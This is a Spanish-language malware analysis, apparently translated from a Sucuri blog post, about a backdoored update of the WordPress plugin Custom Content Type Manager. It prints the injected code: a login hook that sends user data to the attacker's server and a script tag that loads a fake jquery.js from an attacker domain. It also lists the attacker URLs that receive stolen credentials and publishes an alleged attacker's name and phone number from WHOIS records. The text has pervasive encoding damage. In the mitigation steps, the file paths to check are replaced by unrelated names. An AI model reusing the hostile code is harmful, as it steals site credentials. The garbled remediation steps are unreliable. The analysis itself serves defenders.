Cuando un Plugin de WordPress se Convierte en Malicioso

El a√Īo pasado, recontamos una historia sobre el¬†plugin SweetCaptcha de WordPress que inyectaba anuncios¬†y causabamalvertising, problemas en el sitio que usaba su servicio. Cuando se removieron ese plugin deldirectorio oficial de Plugin de WordPress, sus actores han resucitado otra cuenta de WordPress que contiene un plugin que hab√≠a sido abandonada hace mucho tiempo y hicieron el upload de SweetCaptcha como una ‚Äúnueva versi√≥n‚ÄĚ del mismo plugin.

Al final de la saga de SweetCaptcha , hicimos la siguiente advertencia :

Este es un escenario com√ļn: los criminales tratan de secuestrar o comprar cuentas leg√≠timas de desarrolladores de aplicaciones o pagan sus desarrolladores para agregar c√≥digo malicioso a su software, por lo que algunos plugins o aplicaciones benignas pueden llegar a convertirse en maliciosas despu√©s de una actualizaci√≥n ‚Äď la √ļnica cosa a proteger este truco es la reputaci√≥n del autor y la comprobaci√≥n de seguridad con el proceso de aprobaci√≥n en el repositorio.

Ahora , vamos a hablar de otro plugin que se ha convertido en malicioso después de una actualización.

Backdoor en el Custom Content Type Manager

Custom Content Type Manager¬†(CCTM) es un plugin relativamente popular que tienetres a√Īos desde su desarrollo,¬†10.000+ instalaciones activas y una clasificaci√≥n de4.8. El plugin ayuda a crear letras personalizadas de posts y algunos sitios que piensan que su ‚Äúformato de blog‚ÄĚ es muy restrictivo usan el plugin para activar y a√Īadir elementos personalizados a sus posts. Hasta aqu√≠ todo bien.

Esta semana hemos limpiado un sitio infectado y encontramos un archivo muy sospechoso auto-update.phpdentro del wp-content/plugins/custom-content-type-manager/.

Backdoor en auto-update.php

Backdoor en auto-update.php

Es una backdoor que puede descargar archivos del hxxp://wordpresscore .com/plugins/cctm/update/ (el nombre de dominio es definitivamente muy sospechoso) y guarda los archivos en la extensión .php en el directorio del plugin.

Parec√≠a ser una puerta trasera t√≠pica que podr√≠a ser cargada en cualquier lugar de un servidor comprometido, no s√≥lo en el directorio de este plugin en particular. Sin embargo, decidimos investigar el paquete del plugin original y, para nuestra sorpresa, descubrimos que el archivo existe. As√≠, tambi√©n descubrimos que no √©ramos los √ļnicos que descubrieron este archivo (pero la gente en el foro parec√≠an creer que el archivo s√≥lo era ‚Äúvulnerable ‚Äú). Eso realmente precisaba de m√°s investigaciones.

Revisiones del Plugin

Cada plugin de WordPress encontrado en el Directorio Oficial de Plugin se actualiza vía el subversion repository. Con la ayuda del sistema de seguimiento de problemas Trac (Trac issue tracking system), cualquier persona puede utilizar este repositorio para buscar información interesante acerca de quién, cuándo y por qué ha cambiado cualquier versión de cualquier plugin. Por ejemplo, estos son los cambios recientes en el plugin Custom Content Type Manager:

√öltimas revisiones del plugin Custom Content Type Manager

√öltimas revisiones del plugin Custom Content Type Manager

Uno de los √ļltimos cambios recientes ha agregado el archivo auto-update.php. Esto se llev√≥ a cabo el 18 de febrero 2016
‚Äúpeque√Īos tweeks hechos por el propietario‚ÄĚ mensaje original de ‚Äúwooranker‚Äú.

Nuevo Due√Īo del Plugin

Parece que el plugin cambi√≥ de manos. De hecho, en la imagen anterior, se puede ver que hace dos semanas, el plugin sigue siendo actualizado por ‚Äúfireproofsocks‚Äú. Una de sus √ļltimas modificaciones fue ‚ÄúA√Īadir wooranker al readme.‚Ä̬† S√≥lo despu√©s de este evento el wooranker ha actualizado el plugin.

¬ŅFue un cambio de propietarios leg√≠timo? Tal vez. Todo lo que sabemos es que el plugin no se hab√≠a actualizado hac√≠a 10 meses. Tal vez su creador hab√≠a perdido inter√©s en √©l y aceptado una oferta de wooranker. Sin embargo, teniendo en cuenta la actualizaci√≥n del plugin malicioso y el hecho de que fireproofsocks estaba desactivadohab√≠a m√°s de medio a√Īo, hemos suspechado que wooranker podr√≠a haber hackeado la cuenta del fireproofsocks y se a√Īadido como propietario.

Adem√°s , el 5 de febrero de 2016, wooranker tambi√©n ha sido agregado como propietario al plugin Postie. Hubo muchos cambios leg√≠timos en el plugin Postie desde esa fecha. Todo enviado por su autor original ‚ÄstWayneAllen. Por lo tanto, en este caso, el nuevo propietario se ha a√Īadido con el consentimiento del autor original. Intrigante , ¬Ņno lo es? Tengo una teor√≠a al respecto, pero antes de compartirla con ustedes, voy a hablar acerca de la actualizaci√≥n del plugin malicioso CCTM y ver c√≥mo wooranker ha usado este plugin para hackear sitios web.

Otros Cambios Maliciosos

Trac tambi√©n muestra esta¬†actualizaci√≥n interesante del plugin¬†(19 de febrero, el √ļltimo cambio). Hab√≠a agregado el archivo includes/CCTM_Communicator.php y insertado este nuevo c√≥digo en index.php.

// Send plugin information when user login
function _wp_login_eventhandler($user_login, $user) {
require_once('includes/CCTM_Communicator.php');
$_objCCTMCom = new CCTM_Communicator();
$_objCCTMCom->addInfo(array($user_login, $user));
$_objCCTMCom->send_info();
}
add_action('wp_login', '_wp_login_eventhandler', 10, 2);

Este c√≥digo env√≠a informaci√≥n sobre el sitio web y el usuario al servidor de wooranker (wordpresscore .com) cada vez que alguien inicia sesi√≥n en WordPress. Incluso si la informaci√≥n del usuario no contiene la contrase√Īa del usuario en texto plano, es suficiente para compilar una lista de sitios web que contengan el plugin CCTM instalado como puerta trasera. Informaci√≥n similar tambi√©n se env√≠a cuando se activa el plugin.

Escenario de Ataque

Usando los registros de acceso del sitio web comprometido, hemos logrado reconstruir todo el ataque.

Toc-Toc

El 28 de febrero, alguién de 104.131.27.120 (Digital Ocean) intentó usar un script Python (“python-requests/2.2.1 CPython/2.7.6 Linux/3.13.0-79-generic“) para iniciar sesión en WordPress.

La dirección del sitio web aparentemente se obtuvo a través de la nueva
feature CCTM_Communicator.

Probablemente el atacante trat√≥ de usar el nombre de usuario admin robado junto con algunas contrase√Īas comunes. Estos intentos fueron en vano, ya que este sitio web estaba usando un plugin que cambia la URL de inicio de sesi√≥n.

Haciendo Upload de M√°s Puertas Traseras

Un d√≠a m√°s tarde (29 de febrero), el atacante us√≥ una puerta trasera auto-update.php. Esto le ayud√≥ a hacer upload del archivo c.php en el directorio del plugin. El √ļnico prop√≥sito del nuevo c.php¬†era crear un attack shell wp-options.phpm√°s sofisticado en el directorio ra√≠z del sitio. Una vez que se cre√≥ el wp-options.php, el c.php¬†se removi√≥ automaticamente.

Despu√©s, el wooranker¬†us√≥ el wp-options.php para ‚Äúparchear‚ÄĚ tres archivos del n√ļcleo de WordPress y crear un administrador de usuario registrado con el nombre de
‚Äúsupport‚ÄĚ y la direcci√≥n de correo electr√≥nico ‚Äúsupport@wordpresscore .com‚ÄĚ

‚ÄúParcheando‚ÄĚ WordPress

CCTM_Communicator realmente robar informaci√≥n del usuario, pero no roba las contrase√Īas de usuario. Para resolver este problema, el wp-options.php ha hecho el ‚Äúparche‚ÄĚ de tres archivos principales que trabajan con las contrase√Īas de usuario en texto simple:

  • wp-login.php ‚Äď el parche env√≠a las credenciales de un usuario administrador acreditado para¬†hxxp://wordpresscore .com/in/login/index.php
  • wp-admin/user-new.php ‚Äď roba las credenciales de los usuarios reci√©n creados y los env√≠a al hxxp://wordpresscore .com/in/add-user/index.php
  • wp-admin/user-edit.php ‚Äď roba credenciales cuando alguien cambia la contrase√Īa y la env√≠a al hxxp://wordpresscore .com/in/pass-change/index.php

Y en caso de inactividad del usuario, este script también crea un usuario
admin “support/ support@wordpresscore .com“ extra.

Basicamente, las nuevas funciones de la versión 0.9.8.8 del plugin Custom Content Type Manager son:

  • proporcionar una puerta trasera al sitio web
  • robar las credenciales de los usuarios del sitio web.

Ninguna otra fijación de características/bugs se han identificado, por lo que es difícil saber cómo eso ha logrado salir de una revisión del Directorio de Plugins.

DonutJS

Tambi√©n hab√≠a un cambio m√°s peque√Īo. Lo primero que el wooranker ha cambiado despu√©s de la propiedad del plugin fue: ha agregado algunos donutjs¬†enincludes/CCTM.php.

wp_enqueue_script('donutjs', '//donutjs.com/jquery.js' );

Esto parece ser simplemente otra biblioteca de JavaScript, ¬Ņverdad? Muchos plugins las hacen. Sin embargo, hay algo muy sospechoso al respecto:

  1. ¬ŅPor qu√© un plugin a√Īadir√≠a el script jquery.js? WordPress ya lo hace por defecto.
  2. Además, para incluir una secuencia de comandos desde un sitio web de terceros que no parecen tener ninguna relación con jQuery o con CDNs conocidos de alojamiento de scripts del jQuery. Esto es, en la mayoría de los casos, la evidencia de un script jquery falso malicioso.
  3. ¬†¬ŅQue √©s donutjs?

En serio, ¬Ņalguna vez ha o√≠do hablar de DonutJS? Hay muy pocos resultados cuando se busca este nombre en Google. El resultado m√°s significativo es el proyecto Github de una biblioteca de JS practicamente desconocida (2 espectadores y ning√ļn contribuyente). Una biblioteca de JS que constr√≥i tabelas de donut, ese resultado es de hace 3 a√Īos. Hay menos resultados para [‚Äúdonutjs.com‚ÄĚ] (34), en la mayor√≠a de los casos, se ve los servicios en l√≠nea que proporcionan informaci√≥n a cualquier dominio de aplicaci√≥n (clasificaciones, palabras clave, WHOIS ‚Äď el dominio fue registrado hace 6 meses).

donutjs .com parece realmente ofrecer algunas bibliotecas JavaScript:

Donut JS funciona en todas las plataformas, es r√°pido y ligero
hecho para desarrollar aplicaciones JavaScript increíbles y potentes.

Donut JS vs Vanilla JS

Pero si se lee con cuidado, usted sabr√° que es un fraude.

  • El c√≥digo Donut JS en los cuadros comparativos es puramente el vanilla JavaScript
  • Documentaci√≥n y enlaces a los libros para DonutJS llevaron a fuentes gen√©ricas de JavaScript de terceros.
  • El bot√≥n de descarga no funciona
  • Y, por supuesto, lo que se escribe en el sitio web hizo que me muera de risa:

Donut JS ya se ha utilizado en m√°s sitios web que jQuery, Prototype JS, MooTools, YUI, e Google Web Toolkit ‚Äď juntos.

Reivindicaciones del DonutJS

Reivindicaciones de notoriedad falsas del DonutJS

Divertido, ¬Ņverdad? debe ser divertido, porque el donutjs .comen realidad, es una copia ligeramente modificada del sitio de Eric Wastl¬†vanilla-js.com¬†cuando compara el vanilla JavaScript a los frameworks populares.

Tracking En Lugar de jQuery

Ok, ahora sabemos que donutjs .com no tiene relaci√≥n con las bibliotecas JS reales. As√≠ ¬Ņpor qu√© wooranker ha incluido el script¬†donutjs .com/jquery.js? Realmente no es jQuery. Sigue el resultado de esa URL:

Código fuente del DonutJS jqury.js

Código fuente del DonutJS jqury.js

Es un script que hace referencia a hxxps://donutjs .com/jquery-js.php.

¬ŅPor qu√© alguien desear√≠a estas referencias? La respuesta es que son de utilidad para alguien que inyecta este script en sitios web vulnerables ‚Äď las referencias les proporcionar√°n direcciones de sitios web que pueden hackear.

Entonces, el script donutjs es una copia de seguridad para el módulo espía enCCTM_Communicator que sólo funciona cuando alguien inicia sesión en WordPress o activa el plugin.

Wooranker + WordPresscore + Donutjs = …

Si lo que est√° arriba es cierto, el wooranker debe controlar donutjs. com. Pues bien, parece que este es el caso. ¬ŅComo saber? La cosa es que, a diferencia de otros hackers, este individuo no se esfuerza demasiado (o en absoluto) para ocultar su identidad.

Vamos a empezar con WHOIS:

wordpresscore .com

Creation Date: 2015-11-23

Registrant Name: Vishnudath Mangilipudi
Admin State/Province: Andhra Pradesh

Admin Postal Code: 524201
Admin Country: IN
Admin Phone: +91.8985005295
Name Server: NS1.DIGITALOCEAN.COM
Name Server: NS2.DIGITALOCEAN.COM
Name Server: NS3.DIGITALOCEAN.COM

donutjs .com

Registrant Name: vishnudath
Registrant Country: IN
Registrant Phone: +91.8985005295

trimtoroot .com

104.131.98.166 ‚ÄstUnited States New York City Digital Ocean Inc.

El script wp-options.phpcontiene referencias a ‚Äútrimtoroot .com‚ÄĚ que sol√≠a ser el servidor command & control antes del woordpresscore .com.

Registrant Name: Vishnudath Mangilipudi
Registrant Organization:
Name Server: NS1.DIGITALOCEAN.COM
Name Server: NS2.DIGITALOCEAN.COM
Name Server: NS3.DIGITALOCEAN.COM

Como se puede ver, todos estos dominios fueron registrados por Vishnudath de Andhra Pradesh en India.

Mantenemos la b√ļsqueda y descubrimos un perfil de un dise√Īador freelancer‚ÄúVishnudath M‚ÄĚ de India com el apodo wooranker. ¬°Bingo!

Digital Ocean

También vimos una gran conexión con la red Océano Digital. Algunos sitios web, tales como
 trimtoroot .com se quedan allí, otros dominios alojan sus nombres de servidores allí. Puertas traseras en el plugin Custom Content Type Manager también se accederon desde la red Digital Ocean (104.131.27.120). Digital Ocean es más una opción para desarrolladores, no para los hackers.

Freelancer va al lado oscuro de la Fuerza

Ya sabemos que wooranker es un desarrollador gr√°fico indiano con experiencia t√©cnica que tiene su propia VPS (droplets) en la red Digital Ocean. ¬ŅQu√© m√°s podemos hablar de √©l?

√Čl sabe c√≥mo funciona WordPress. Parte del c√≥digo para actualizar el plugin se ve muy inteligente y utiliza la API de WordPress de forma creativa.

Probablemente, tambi√©n trabaja como desarrollador independiente de WordPress y eso debe explicar por qu√© el autor del segundo plugin Postie a√Īadi√≥ wooranker como el nombre del propietario del plugin (despu√©s voy a compartir mis ideas acerca de eso).

Lo más probable es que también daba soporte/mantenimiento a algunos sitios de WordPress. En el ataque shell wp-options.php en lo que se ha hecho el upload, he encontrado algunas características que no tienen relación con la actividad maliciosa.

Por ejemplo, hay una opción para instalar estos tres plugins de seguridad populares:

  • Theme Authenticity Checker (TAC)
  • Brute Force Login Protection
  • s√≠, nuestro¬†Sucuri Security

También puede realizar copias de seguridad de archivos e incluso actualizar WordPress.

Parece que el plugin había sido creado como una herramienta para mantener sitios web de WordPress, y actualizarlos, limpiar sus hacks y protegerlos.

Tal vez él estaba viviendo de apuestas buscando este tipo de trabajo en muchos sitios web autónomos de comercialización. No es el trabajo más rentable del mundo. A medida que aprendía más y veía más y más sitios web infectados y vulnerables, probablemente le preguntó si tendría más posibilidades de ganar dinero en el otro lado…
El dominio wordpresscore .com se registró en noviembre con intenciones maliciosas.

Y despu√©s de eso, el propietario del plugin Postie se lo a√Īadi√≥ como un autor, aprendi√≥ c√≥mo funcionaba el directorio de plugins y vio sus debilidades. Con un poco de suerte, ha logrado adivinar las credenciales de una cuenta de un plugin abandonado, ha agregado su propia cuenta wooranker a √©l y ha publicado la nueva versi√≥n del plugin con puertas traseras, lo que concluye su ingreso en el lado oscuro de la fuerza.

vader

Por supuesto, todo esto no son m√°s que mis especulaciones sobre la historia de wooranker. Vishnudath puede ser simplemente un invento creado para ocultar la identidad real del hacker.

En este punto, todavía no está claro lo que quería hacer con todos esos sitios web hackeados, pero el principio no deja ninguna duda de que no era algo benigno. Desde la etimología del nombre de usuario wooranker, creo que era algo acerca de SEO de black hat.

¬ŅEn qui√©n podemos confiar?

Esta historia nos lleva a preguntas importantes:

  1. ¬ŅC√≥mo saber si podemos confiar en los plugins descargados plugins del Directorio Oficial de Plugins de WordPress? Por supuesto, hay un proceso de verificaci√≥n, pero no puede detectar todas las puertas traseras y nuevos tipos de malware. Con la enorme cantidad de plugins y actualizaciones, no es posible hacerlo. Sin revisar el c√≥digo del plugin y sus actualizaciones, es necesario confiar en el autor del plugin. ¬ŅCu√°ntos autores de plugins usted conoce? ¬ŅY en cu√°ntos de ellos tiene confianza? Piense en eso la pr√≥xima vez que instalar un nuevo plugin o una actualizaci√≥n ya est√° instalado en un plugin.
  2. ¬ŅEn qu√© medida se puede confiar en los trabajadores independientes que se contrata para hacer trabajos menores de mantenimiento en nuestros sitios web? Usted puede dar acceso completo a una persona que tambi√©n trabaja para los ‚Äúchicos malos‚ÄĚ. ¬ŅUsted hace copias de seguridad antes de contratar a los trabajadores independientes? ¬ŅCambia todas sus contrase√Īas y busca puertas traseras una vez que el trabajo est√° terminado?

Mitigación

Si usted es uno de los desafortunados propietarios de sitios web que han hecho una actualización del plugin Custom Content Type Manager a la versión 0.9.8.8 o recientemente instalados, siga los pasos que debe tomar (en ese orden).

  1. Desactive el plugin Custom Content Type Manager.
  2. Busque coherencia en todos los archivos del n√ļcleo de WordPress. Se puede instalar WordPress de nuevo. Al menos se aseguran de que los tres archivos a continuaci√≥n no se han modificado (Para WP 4.4.2 se puede encontrar los archivos originales aqu√≠):
    1. ./tazakhabre.php
    2. ./newshoneypot/user-edit.php
    3. ./newshoneypot/user-new.php
  3. Ahora que se ha eliminado las credenciales que roban el c√≥digo en los pasos anteriores, cambie las contrase√Īas de todos los usuarios de WordPress.
  4. No se olvide de eliminar los usuarios que no reconoce. Especialmente, que contienen el correo electrónico support@wordpresscore .com.
  5. Ahora, remueva el wp-options.php en el directorio central.
  6. Remueva el plugin Custom Content Type Manager. Si realmente lo necesita, obtenga su √ļltima versi√≥n leg√≠tima 0.9.8.6 aqu√≠¬†y desactivar las actualizaciones autom√°ticas del plugin¬†hasta que las versiones maliciosas de la se retiren del Directorio de Plugins. Asimismo, no instale versiones anteriores del CCTM m√°s antiguas que la 0.9.8.6. Tienen una conocida falla de seguridad y vemos los hackers Verificando los sitios web para buscar estas vulnerabilidades (junto con otras vulnerabilidades).
  7. Tambi√©n es posible que desee comprobar todos los dem√°s archivos y la la base de datos para buscar el ‚Äúwordpresscore‚ÄĚ.

Como nuestro caso real muestra, los plugins pueden cambiar las URL de inicio de sesión de WordPress. No utilizan ataques de fuerza bruta, pero eso ayuda cuando los verdaderos hackers roban credenciales de admins o crean admins falsos. Restringir el acceso al área de administración es también una buena idea.

Fuente:https://blog.sucuri.net